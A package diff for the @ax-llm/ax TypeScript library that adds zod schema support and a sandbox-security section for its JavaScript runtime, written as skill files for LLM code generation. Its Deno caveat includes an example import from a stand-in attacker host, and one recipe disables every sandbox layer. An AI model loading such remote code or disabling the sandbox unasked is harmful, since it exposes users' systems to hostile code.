@ax-llm/ax 19.0.43 → 19.0.45

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@ax-llm/ax",
-  "version": "19.0.43",
+  "version": "19.0.45",
   "type": "module",
   "description": "The best library to work with LLMs",
   "repository": {
@@ -17,6 +17,14 @@
     "@opentelemetry/api": "^1.9.0",
     "dayjs": "^1.11.13"
   },
+  "peerDependencies": {
+    "zod": "^3.24.0 || ^4.0.0"
+  },
+  "peerDependenciesMeta": {
+    "zod": {
+      "optional": true
+    }
+  },
   "ava": {
     "failFast": true,
     "timeout": "180s",

package/skills/ax-agent-optimize.md

@@ -1,7 +1,7 @@
 ---
 name: ax-agent-optimize
 description: This skill helps an LLM generate correct AxAgent tuning and evaluation code using @ax-llm/ax. Use when the user asks about agent.optimize(...), judgeOptions, eval datasets, optimization targets, saved optimizedProgram artifacts, or recursive optimization guidance.
-version: "19.0.43"
+version: "19.0.45"
 ---
 
 # AxAgent Optimize Codegen Rules (@ax-llm/ax)

package/skills/ax-agent.md

@@ -1,7 +1,7 @@
 ---
 name: ax-agent
 description: This skill helps an LLM generate correct AxAgent code using @ax-llm/ax. Use when the user asks about agent(), child agents, namespaced functions, discovery mode, shared fields, llmQuery(...), RLM code execution, recursionOptions, or agent runtime behavior. For tuning and eval with agent.optimize(...), use ax-agent-optimize.
-version: "19.0.43"
+version: "19.0.45"
 ---
 
 # AxAgent Codegen Rules (@ax-llm/ax)
@@ -233,6 +233,23 @@ const tools = [
     .handler(async ({ topic }) => [])
     .build(),
 ];
+```
+
+`.arg()` and `.returns()` also accept any [Standard Schema v1](https://standardschema.dev) validator (zod, valibot, arktype) directly — per-argument or a whole `z.object({...})`. The handler's argument type is inferred from the schema:
+
+```typescript
+import { z } from 'zod';
+import { fn } from '@ax-llm/ax';
+
+const lookupUser = fn('lookupUser')
+  .description('Fetch a user record by id')
+  .arg(z.object({
+    userId: z.string().min(1),
+    includeProfile: z.boolean().optional(),
+  }))
+  .returns(z.object({ name: z.string(), email: z.string().email() }))
+  .handler(async ({ userId, includeProfile }) => ({ name: 'Ada', email: 'ada@example.com' }))
+  .build();
 
 const analyst = agent('query:string -> answer:string', {
   functions: {
@@ -593,6 +610,78 @@ console.log(topCustomers);
 
 Reason: turn 2 reuses `customers` from the persistent runtime. `Live Runtime State` or summaries may change how turn 1 is shown in the prompt, but they do not remove the value from the runtime session.
 
+## AxJSRuntime Security
+
+Default `new AxJSRuntime()` is hardened: no network, no fs, no child_process, `import()` blocked, intrinsics frozen, `ShadowRealm` locked to `undefined`, worker IPC locked in browser/Deno, and on Node 20+ the OS Permission Model auto-engages (using `--permission` on Node 23.5+ or `--experimental-permission` on Node 20–23.4) as a second defense layer. You do not need to configure anything to get the strict profile — opt in only to the capability the user actually asked for.
+
+**Permission enum** (`AxJSRuntimePermission`):
+`NETWORK`, `STORAGE`, `CODE_LOADING`, `COMMUNICATION`, `TIMING`, `WORKERS`, `FILESYSTEM` (new), `CHILD_PROCESS` (new).
+
+**Options quick reference** (all defaults shown are secure):
+
+| Option | Default | Effect |
+|---|---|---|
+| `blockDynamicImport` | `true` | Blocks `import()` + Function/eval constructor shims. |
+| `allowedModules` | `[]` | Whitelist of specifiers permitted when `blockDynamicImport` is on. |
+| `freezeIntrinsics` | `true` | Freezes `Object`/`Array`/`Promise`/etc. prototypes. |
+| `blockShadowRealm` | `true` | Locks `globalThis.ShadowRealm` to `undefined`. |
+| `lockWorkerIPC` | `true` | Locks `self.postMessage`/`onmessage` in browser/Deno workers. |
+| `preventGlobalThisExtensions` | `false` | Opt-in; breaks top-level `var/let/const` persistence across turns. |
+| `useNodePermissionModel` | `'auto'` | Engages Node Permission Model on Node 20+ (`--permission` on 23.5+, `--experimental-permission` on 20–23.4); skips on older runtimes. |
+| `nodePermissionAllowlist` | `undefined` | Fine-grained `{ fsRead, fsWrite, childProcess, addons, wasi }`. |
+| `resourceLimits` | `undefined` | `{ maxOldGenerationSizeMb, maxYoungGenerationSizeMb, codeRangeSizeMb, stackSizeMb }`. |
+| `allowDenoRemoteImport` | `false` | On Deno, controls whether `NETWORK` also grants remote module loading. |
+| `allowUnsafeNodeHostAccess` | `false` | Exposes `process`/`require` in Node — trusted-code only. |
+
+**Recipes:**
+
+Maximum security (default):
+```ts
+new AxJSRuntime();
+```
+
+Allow fetch only:
+```ts
+new AxJSRuntime({ permissions: [AxJSRuntimePermission.NETWORK] });
+```
+
+Allow fs scoped to one directory:
+```ts
+new AxJSRuntime({
+  permissions: [AxJSRuntimePermission.FILESYSTEM],
+  allowedModules: ['node:fs', 'node:fs/promises', 'node:path'],
+  useNodePermissionModel: 'auto',
+  nodePermissionAllowlist: {
+    fsRead: ['/app/data'],
+    fsWrite: ['/app/data'],
+  },
+});
+```
+
+Trust the code (explicit opt-out of every layer):
+```ts
+new AxJSRuntime({
+  permissions: Object.values(AxJSRuntimePermission),
+  allowUnsafeNodeHostAccess: true,
+  blockDynamicImport: false,
+  blockShadowRealm: false,
+  freezeIntrinsics: false,
+  lockWorkerIPC: false,
+  useNodePermissionModel: false,
+});
+```
+
+**Rules for the LLM author:**
+
+- Default to `new AxJSRuntime()` with no options unless the user asked for a specific capability.
+- When the user asks for `fetch`, add `permissions: [AxJSRuntimePermission.NETWORK]` — do not disable `blockDynamicImport` as a workaround.
+- When the user asks for `fs`, add both `permissions: [AxJSRuntimePermission.FILESYSTEM]` AND `allowedModules: ['node:fs', 'node:fs/promises', 'node:path']`. Scope with `nodePermissionAllowlist` when the user names a directory.
+- Do not disable `freezeIntrinsics`, `blockShadowRealm`, or `lockWorkerIPC` unless the user explicitly asks — these do not trade off against any legitimate RLM use case.
+- Treat `allowUnsafeNodeHostAccess: true` as a red flag; only use it when the user is authoring trusted code in their own process.
+- `preventGlobalThisExtensions: true` breaks top-level `var/let/const` persistence across turns — never set it for stdout-mode RLM where persistence is load-bearing (see `RLM Actor Code Rules`).
+
+**Deno caveat:** `blockDynamicImport` is a no-op in Deno (no `node:vm`); the defense there is the worker permission sandbox applied by default. When `NETWORK` is granted on Deno, `import` is set to `false` by default so `await import('https://attacker.example/evil.ts')` is blocked at the runtime level — pass `allowDenoRemoteImport: true` only if remote module loading is genuinely required.
+
 ## RLM Test Harness
 
 Use `agent.test(code, contextFieldValues?, options?)` when the user wants to validate JavaScript snippets against the actual AxAgent runtime environment without running the full Actor/Responder loop.
@@ -1200,6 +1289,23 @@ agentIdentity?: {
 - Consecutive error turns reset after a successful non-error turn and when checkpoint summarization refreshes to a new fingerprint.
 - `maxSubAgentCalls` is a shared delegated-call budget across the entire run.
 
+### `AxJSRuntime` options (cross-reference)
+
+Constructor options for `new AxJSRuntime(opts)`. All defaults are secure — see `## AxJSRuntime Security` for full detail and recipes.
+
+- `permissions?: readonly AxJSRuntimePermission[]` — default `[]`; opt in capabilities (NETWORK, FILESYSTEM, CHILD_PROCESS, WORKERS, STORAGE, CODE_LOADING, COMMUNICATION, TIMING).
+- `blockDynamicImport?: boolean` — default `true`.
+- `allowedModules?: readonly string[]` — default `[]`.
+- `freezeIntrinsics?: boolean` — default `true`.
+- `blockShadowRealm?: boolean` — default `true`.
+- `lockWorkerIPC?: boolean` — default `true`.
+- `preventGlobalThisExtensions?: boolean` — default `false` (opt-in; breaks persistence).
+- `useNodePermissionModel?: boolean | 'auto'` — default `'auto'`.
+- `nodePermissionAllowlist?: { fsRead?; fsWrite?; childProcess?; addons?; wasi? }`.
+- `resourceLimits?: { maxOldGenerationSizeMb?; maxYoungGenerationSizeMb?; codeRangeSizeMb?; stackSizeMb? }`.
+- `allowDenoRemoteImport?: boolean` — default `false`.
+- `allowUnsafeNodeHostAccess?: boolean` — default `false`.
+
 ## Observability: getChatLog() and getUsage()
 
 `AxAgent` exposes two sub-programs (Actor and Responder). Both `getChatLog()` and `getUsage()` return an object split by role — unlike `AxGen`, which returns a flat array.

package/skills/ax-ai.md

@@ -1,7 +1,7 @@
 ---
 name: ax-ai
 description: This skill helps an LLM generate correct AI provider setup and configuration code using @ax-llm/ax. Use when the user asks about ai(), providers, models, presets, embeddings, extended thinking, context caching, or mentions OpenAI/Anthropic/Google/Azure/Groq/DeepSeek/Mistral/Cohere/Together/Ollama/HuggingFace/Reka/OpenRouter with @ax-llm/ax.
-version: "19.0.43"
+version: "19.0.45"
 ---
 
 # AI Provider Codegen Rules (@ax-llm/ax)

package/skills/ax-flow.md

@@ -1,7 +1,7 @@
 ---
 name: ax-flow
 description: This skill helps an LLM generate correct AxFlow workflow code using @ax-llm/ax. Use when the user asks about flow(), AxFlow, workflow orchestration, parallel execution, DAG workflows, conditional routing, map/reduce patterns, or multi-node AI pipelines.
-version: "19.0.43"
+version: "19.0.45"
 ---
 
 # AxFlow Codegen Rules (@ax-llm/ax)

package/skills/ax-gen.md

@@ -1,7 +1,7 @@
 ---
 name: ax-gen
 description: This skill helps an LLM generate correct AxGen code using @ax-llm/ax. Use when the user asks about ax(), AxGen, generators, forward(), streamingForward(), assertions, field processors, step hooks, self-tuning, or structured outputs.
-version: "19.0.43"
+version: "19.0.45"
 ---
 
 # AxGen Codegen Rules (@ax-llm/ax)
@@ -47,6 +47,57 @@ const result = await gen.forward(llm, { input: 'Hello world' });
 console.log(result.output);
 ```
 
+### Signatures from zod / valibot / arktype
+
+`ax()` accepts any signature built with `f()`, and `f().input()` / `.output()` accept [Standard Schema v1](https://standardschema.dev) validators directly — per-field or a whole `z.object({...})`:
+
+```typescript
+import { z } from 'zod';
+import { ax, f } from '@ax-llm/ax';
+
+const gen = ax(
+  f()
+    .input(z.object({
+      productName: z.string(),
+      buyerProfile: z.string(),
+    }))
+    .output(z.object({
+      headline: z.string(),
+      recommendation: z.enum(['buy', 'wait', 'skip']),
+    }))
+    .build()
+);
+```
+
+Constraints (`.min()`, `.email()`, `.regex()`) and custom logic (`.refine()`, `.transform()`, `.superRefine()`) execute in the normal validation/retry pipeline — at parse time on complete field values, including at field boundaries during streaming. For cache/internal hints pass companion options: `.input('ctx', z.string(), { cache: true })` or `.output('reasoning', z.string(), { internal: true })`.
+
+Define tool functions with zod the same way — `fn().arg()` / `.returns()` accept per-argument or whole-object schemas and infer the handler's argument type:
+
+```typescript
+import { z } from 'zod';
+import { ax, fn } from '@ax-llm/ax';
+
+const lookupProduct = fn('lookupProduct')
+  .description('Look up a product by name')
+  .arg(z.object({
+    productName: z.string().min(1),
+    includeSpecs: z.boolean().optional(),
+  }))
+  .returns(z.object({
+    price: z.number(),
+    inStock: z.boolean(),
+    rating: z.number().min(1).max(5),
+  }))
+  .handler(async ({ productName, includeSpecs }) => ({
+    price: 79.99,
+    inStock: true,
+    rating: 4.3,
+  }))
+  .build();
+
+const result = await gen.forward(llm, { ... }, { functions: [lookupProduct] });
+```
+
 ## Running AxGen
 
 ### `forward()`

package/skills/ax-gepa.md

@@ -1,7 +1,7 @@
 ---
 name: ax-gepa
 description: This skill helps an LLM generate correct AxGEPA optimization code using @ax-llm/ax. Use when the user asks about AxGEPA, GEPA, Pareto optimization, multi-objective prompt tuning, reflective prompt evolution, validationExamples, maxMetricCalls, or optimizing a generator, flow, or agent tree.
-version: "19.0.43"
+version: "19.0.45"
 ---
 
 # AxGEPA Codegen Rules (@ax-llm/ax)

package/skills/ax-learn.md

@@ -1,7 +1,7 @@
 ---
 name: ax-learn
 description: This skill helps an LLM generate correct AxLearn code using @ax-llm/ax. Use when the user asks about self-improving agents, trace-backed learning, feedback-aware updates, or AxLearn modes.
-version: "19.0.43"
+version: "19.0.45"
 ---
 
 # AxLearn Codegen Rules (@ax-llm/ax)

package/skills/ax-llm.md

@@ -1,7 +1,7 @@
 ---
 name: ax
 description: This skill helps with using the @ax-llm/ax TypeScript library for building LLM applications. Use when the user asks about ax(), ai(), f(), s(), agent(), flow(), AxGen, AxAgent, AxFlow, signatures, streaming, or mentions @ax-llm/ax.
-version: "19.0.43"
+version: "19.0.45"
 ---
 
 # Ax Library (@ax-llm/ax) Quick Reference
@@ -15,6 +15,7 @@ Ax is a TypeScript library for building LLM-powered applications with type-safe
 ```typescript
 // Prefer factory functions: ax(), ai(), agent(), flow() — not new AxGen(), new AxAI(), etc.
 import { ax, ai, f, s, fn, agent, flow, AxMemory, AxMCPClient, AxLearn } from '@ax-llm/ax';
+import { z } from 'zod'; // optional — any Standard Schema v1 library works
 
 // AI provider
 const llm = ai({ name: 'openai', apiKey: process.env.OPENAI_APIKEY });
@@ -30,6 +31,14 @@ const gen = ax(
     .build()
 );
 
+// Generator (from zod — Standard Schema v1, also works with valibot/arktype)
+const zodGen = ax(
+  f()
+    .input(z.object({ question: z.string().describe('User question') }))
+    .output(z.object({ answer: z.string().describe('AI response') }))
+    .build()
+);
+
 // Reusable signature
 const sig = s('question:string, context:string[] -> answer:string');
 
@@ -45,13 +54,24 @@ const wf = flow<{ input: string }, { output: string }>()
   .execute('step1', (state) => ({ input: state.input }))
   .returns((state) => ({ output: state.step1Result.output }));
 
-// Function tool
+// Function tool — native fluent
 const tool = fn('search')
   .description('Search the web')
   .arg('query', f.string('Search query'))
   .returns(f.string('Search results'))
   .handler(({ query }) => searchWeb(query))
   .build();
+
+// Function tool — zod schema (Standard Schema v1: also works with valibot, arktype)
+const zodTool = fn('calculateTax')
+  .description('Calculate tax for an amount')
+  .arg(z.object({
+    amount: z.number().positive().describe('Pre-tax amount in USD'),
+    region: z.enum(['US', 'EU', 'UK']).describe('Tax region'),
+  }))
+  .returns(z.object({ tax: z.number(), total: z.number() }))
+  .handler(async ({ amount }) => ({ tax: amount * 0.1, total: amount * 1.1 }))
+  .build();
 ```
 
 ## Running
@@ -287,6 +307,7 @@ class AxFlow<IN, OUT> {
 
 Fetch these for full working code:
 
+- [Standard Schema (zod)](https://raw.githubusercontent.com/ax-llm/ax/refs/heads/main/src/examples/standard-schema.ts) — zod with f() and fn()
 - [Chat](https://raw.githubusercontent.com/ax-llm/ax/refs/heads/main/src/examples/chat.ts) — multi-turn conversation
 - [Marketing](https://raw.githubusercontent.com/ax-llm/ax/refs/heads/main/src/examples/marketing.ts) — product use case
 - [MCP Integration](https://raw.githubusercontent.com/ax-llm/ax/refs/heads/main/src/examples/mcp-client-memory.ts) — MCP integration

package/skills/ax-signature.md

@@ -1,7 +1,7 @@
 ---
 name: ax-signature
 description: This skill helps an LLM generate correct DSPy signature code using @ax-llm/ax. Use when the user asks about signatures, s(), f(), field types, string syntax, fluent builder API, validation constraints, or type-safe inputs/outputs.
-version: "19.0.43"
+version: "19.0.45"
 ---
 
 # Ax Signature Reference
@@ -37,7 +37,7 @@ version: "19.0.43"
 'problem:string -> reasoning!:string, solution:string'  // internal with !
 ```
 
-## Three Ways to Create Signatures
+## Four Ways to Create Signatures
 
 ### 1. String-Based (Recommended for simple cases)
 
@@ -61,7 +61,109 @@ const sig = f()
   .build();
 ```
 
-### 3. Hybrid
+### 3. Standard Schema (zod / valibot / arktype)
+
+`.input()` and `.output()` accept any [Standard Schema v1](https://standardschema.dev) compatible library — no wrapper, no adapter. Three shapes work everywhere:
+
+```typescript
+import { z } from 'zod';
+import { f } from '@ax-llm/ax';
+
+// Shape A: per-field schema — name first, then the schema, then optional ax hints
+const sig = f()
+  .input('contextData', z.string().describe('Background context'), { cache: true })
+  .input('userQuestion', z.string().describe('Question to answer'))
+  .output('reasoning', z.string().describe('Step-by-step thinking'), { internal: true })
+  .output('answer', z.string().describe('Final answer'))
+  .build();
+
+// Shape B: whole-object schema — decomposed into fields in declaration order
+const sig2 = f()
+  .description('Answer questions from retrieved context')
+  .input(
+    z.object({
+      contextData: z.string().describe('Background context'),
+      userQuestion: z.string().describe('Question to answer'),
+    }),
+    { fields: { contextData: { cache: true } } }  // companion options map
+  )
+  .output(
+    z.object({
+      reasoning: z.string().describe('Step-by-step thinking'),
+      answer: z.string().describe('Final answer'),
+    }),
+    { fields: { reasoning: { internal: true } } }
+  )
+  .build();
+```
+
+Validation constraints from zod flow into ax's prompt validation:
+
+```typescript
+// String constraints: .email(), .url(), .min(), .max(), .regex()
+// Number constraints: .min(), .max()
+// Arrays: z.array(z.string())
+// Enums: z.enum([...])  — NOTE: enum maps to ax class type, output fields only
+const sig3 = f()
+  .input(z.object({
+    emailAddress: z.string().email().describe('Contact email'),
+    username: z.string().min(3).max(20).describe('Handle'),
+    score: z.number().min(0).max(100).describe('Numeric score'),
+  }))
+  .output(z.object({
+    priority: z.enum(['low', 'medium', 'high']).describe('Priority'),
+    summary: z.string().describe('Result'),
+  }))
+  .build();
+```
+
+**Companion options** (`AxFieldOptions`) carry ax-specific hints that schema libraries don't represent:
+
+| Option | Effect |
+|--------|--------|
+| `{ cache: true }` | Mark input field as a prefix-cache breakpoint |
+| `{ internal: true }` | Mark output field as internal scratchpad (stripped from result) |
+
+The same Standard Schema shapes work on `fn()` tools via `.arg()`, `.returns()`, and `.returnsField()` — argument types are inferred from the schema:
+
+```typescript
+import { z } from 'zod';
+import { fn } from '@ax-llm/ax';
+
+// Whole-object zod on a tool — AI-SDK-style
+const lookupProduct = fn('lookupProduct')
+  .description('Look up a product by name and return its current details')
+  .arg(
+    z.object({
+      productName: z.string().min(1).describe('Exact product name'),
+      includeSpecs: z.boolean().optional(),
+    })
+  )
+  .returns(
+    z.object({
+      price: z.number(),
+      inStock: z.boolean(),
+      rating: z.number().min(1).max(5),
+    })
+  )
+  .handler(async ({ productName, includeSpecs }) => ({
+    price: 79.99,
+    inStock: true,
+    rating: 4.3,
+  }))
+  .build();
+
+// Per-argument form — mix with f.*() args, attach ax hints
+const searchDocs = fn('searchDocs')
+  .description('Search indexed docs')
+  .arg('query', z.string().min(1), { cache: true })
+  .arg('limit', z.number().int().positive().optional())
+  .returnsField('results', z.array(z.string()))
+  .handler(async ({ query }) => [])
+  .build();
+```
+
+### 4. Hybrid
 
 ```typescript
 import { s, f } from '@ax-llm/ax';
@@ -178,15 +280,18 @@ Bad: `text`, `data`, `input`, `output`, `a`, `x`, `val` (too generic), `1field`
 - Use `f()` fluent builder, NOT nested `f.array(f.string())` -- those are removed.
 - Field names must be descriptive (not generic like `text`, `data`, `input`).
 - Media types are input-only, top-level only.
-- `.internal()` is output-only (for chain-of-thought reasoning).
-- `.cache()` is input-only (for prompt caching).
+- `.internal()` / `{ internal: true }` is output-only (for chain-of-thought reasoning).
+- `.cache()` / `{ cache: true }` is input-only (for prompt caching).
 - Validation errors trigger auto-retry with correction feedback.
 - `f.email()`, `f.url()`, `f.date()`, `f.datetime()` are shorthand for `f.string().email()` etc.
+- `z.enum()` maps to ax's `class` type — only valid on **output** fields.
+- For multimodal inputs (images, audio, files) use `f.image()` / `f.audio()` / `f.file()` — zod has no equivalent.
 
 ## Examples
 
 Fetch these for full working code:
 
-- [Fluent Signature](https://raw.githubusercontent.com/ax-llm/ax/refs/heads/main/src/examples/fluent-signature-example.ts) — fluent f() API
+- [Standard Schema (zod)](https://raw.githubusercontent.com/ax-llm/ax/refs/heads/main/src/examples/standard-schema.ts) — zod with f() and fn(), all three shapes
+- [Fluent Signature](https://raw.githubusercontent.com/ax-llm/ax/refs/heads/main/src/examples/fluent-signature-example.ts) — native fluent f() API
 - [Structured Output](https://raw.githubusercontent.com/ax-llm/ax/refs/heads/main/src/examples/structured_output.ts) — structured output with validation
 - [Debug Schema](https://raw.githubusercontent.com/ax-llm/ax/refs/heads/main/src/examples/debug_schema.ts) — JSON schema validation